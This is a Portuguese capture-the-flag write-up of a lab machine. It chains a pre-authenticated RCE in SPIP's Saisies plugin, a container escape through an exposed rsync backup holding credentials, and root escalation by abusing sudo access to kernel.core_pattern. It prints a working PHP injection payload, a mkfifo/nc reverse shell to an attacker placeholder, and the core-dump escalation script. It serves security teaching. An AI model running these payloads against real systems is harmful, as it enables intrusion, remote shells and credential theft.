Máquina Linux Medium da Hacking Club com CMS SPIP 4.4.13 vulnerável a RCE pré-autenticado (CVE-2025-71243) no plugin Saisies. O foothold cai num container; a cadeia segue por escape via
rsyncexposto no host, lateral movement por credenciais num backup, e privesc por abuso dekernel.core_patternviasudo.
Recon
Port scan
rustscan -a pipe.hc -- -sV
| Porta | Serviço | Versão |
|---|---|---|
| 22/tcp | ssh | OpenSSH 9.6p1 Ubuntu |
| 8889/tcp | http | Apache httpd (PHP/8.3.30) |
A aplicação web é o CMS SPIP 4.4.13 com template de consultoria financeira fictícia (“Meridian Wealth”).
Web enumeration
O SPIP roteia todo o conteúdo pelo front-controller spip.php (?page=<nome>). Fuzzando os nomes de página localizei a contact:
ffuf -u 'http://pipe.hc:8889/spip.php?page=FUZZ' -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -mc 200 -ac
A página /spip.php?page=contact expõe um formulário processado pelo plugin Saisies do SPIP, vulnerável a RCE pré-autenticado via CVE-2025-71243.
Foothold
Afetados: Saisies 5.4.0–5.11.0 | Fixed: 5.11.1 | CVSS: 9.3 Critical
A função saisies_formulaire_charger_generer_hidden_ancienne_valeur_depubliee() interpola o parâmetro _anciennes_valeurs diretamente num campo hidden sem escaping:
return "<input type='hidden' name='_anciennes_valeurs' value='$encode' />";
Esse valor vai para $flux['data']['_hidden'], renderizado pelo balise #ACTION_FORMULAIRE com interdire_scripts = false — bypassando o filtro de scripts. Tags <?php ?> injetadas entram no ciclo eval() do template engine e são executadas diretamente.
Resultado: RCE pré-autenticado em qualquer página com formulário saisies público. O payload é enviado no campo _anciennes_valeurs de um POST e o output do comando é refletido na resposta entre os campos hidden:
POST /spip.php?page=contact
_anciennes_valeurs=x' /><?php system('id'); ?><input value='x
Confirmada a execução como www-data, dispara-se uma reverse shell. O system() do PHP usa /bin/sh (dash), que não interpreta /dev/tcp; e o bash do container foi compilado sem net-redirections — logo o callback é feito via mkfifo + nc. O comando vai base64-encoded dentro do mesmo _anciennes_valeurs (via system(base64_decode('...'))), evitando os conflitos de aspas com a injeção:
rm -f /tmp/.f;mkfifo /tmp/.f;cat /tmp/.f|/bin/bash -i 2>&1|nc <ATTACKER_IP> 9001 >/tmp/.f
Lateral Movement
Container enumeration
O .dockerenv confirma que estamos num container; hostname -I dá o IP da rede interna e env despeja as variáveis do SPIP:
ls -la /.dockerenv
hostname -I
env | grep SPIP
Variáveis críticas no ambiente: SPIP_PACKAGE=4.4.13, SPIP_DB_LOGIN=spip / SPIP_DB_PASS=spip, SPIP_ADMIN_LOGIN=admin / SPIP_ADMIN_PASS=adminadmin. O container (172.18.0.3) alcança o gateway Docker 172.18.0.1 (host EC2).
Docker escape
A partir do container comprometido, um pivot (chisel SOCKS reverso) dá acesso à rede interna 172.18.0.0/24. O scan do host 172.18.0.1 revela um daemon rsync na porta 873, acessível apenas de 172.18.0.0/16:
O módulo backup (read-only) expõe /var/backups. O arquivo backup.zip contém um reset.txt com as credenciais do usuário marcus:
Com as credenciais do backup, acesso SSH como marcus no host:
ssh marcus@pipe.hc
A user.txt reside em /home/svc_backup/user.txt e só fica legível após a escalação de privilégios.
Privilege Escalation
No writeup original desta máquina a escalação usava o /etc/pam.d/common-auth writable (inserir pam_permit.so → su root sem senha). Nesta tentativa o arquivo foi corrigido para root:root rw-r--r--.
Intended vector — kernel.core_pattern pipe handler
O usuário de serviço svc_backup possui uma regra sudo permissiva:
svc_backup ALL=(root) NOPASSWD: /sbin/sysctl kernel.core_pattern=*
kernel.core_pattern define o handler de core dump do kernel. Quando começa com |, o kernel executa o programa indicado como root sempre que um processo gera um core dump. São três passos: escrever um handler que copia o bash como SUID-root, apontar o core_pattern para ele com o sysctl autorizado por NOPASSWD, e disparar um SIGSEGV para gerar o core dump — o handler roda como root e deixa o /tmp/rootbash com euid=0:
printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash\n' > /tmp/pwn.sh
chmod +x /tmp/pwn.sh
sudo /sbin/sysctl kernel.core_pattern="|/tmp/pwn.sh"
sleep 30 & kill -SEGV $!
/tmp/rootbash -p
Após a escalação, ambas as flags são lidas (/home/svc_backup/user.txt e /root/root.txt):
Um elo ficou em aberto: a senha do svc_backup (SVC_PASS) está exposta apenas no crontab do sys_admin (/var/spool/cron/crontabs/sys_admin, rw-------), consumida por um session-manager.sh (expect → su - svc_backup). Nesta instância não consegui identificar um vetor que levasse marcus até essa senha.
Lessons Learned
- Formulário público processado pelo plugin Saisies com filtro de scripts desligado é um sink de RCE pré-auth; a interpolação sem escaping em
_anciennes_valeursfoi confirmada lendo o source do plugin. - Sem
/dev/tcp(dash) e combashcompilado sem net-redirections, o callback confiável émkfifo+nc; base64 no payload evita conflito de aspas na injeção PHP. rsyncread-only exposto numa rede interna é fonte clássica de credenciais — o módulobackupentregou umreset.txtcom a senha domarcus.kernel.core_patterniniciado com|executa o handler como root a cada core dump; um únicosysctlvia sudo e umSIGSEGVbastam para escalar.
Impact
- Para uma consultoria financeira como a Meridian Wealth, cujo ativo central é a confiança do cliente, o comprometimento do servidor expõe dados financeiros e credenciais de clientes guardados em backups — um incidente de confidencialidade com peso regulatório no setor.
- Com controle do site público, o atacante adultera conteúdo, hospeda phishing sob o domínio legítimo da firma e usa a marca para fraudar clientes — dano reputacional direto e difícil de reverter.
- O acesso root e o pivô para a rede interna abrem caminho a sistemas de advisory e dados de carteira, transformando uma exposição web em risco ao negócio inteiro.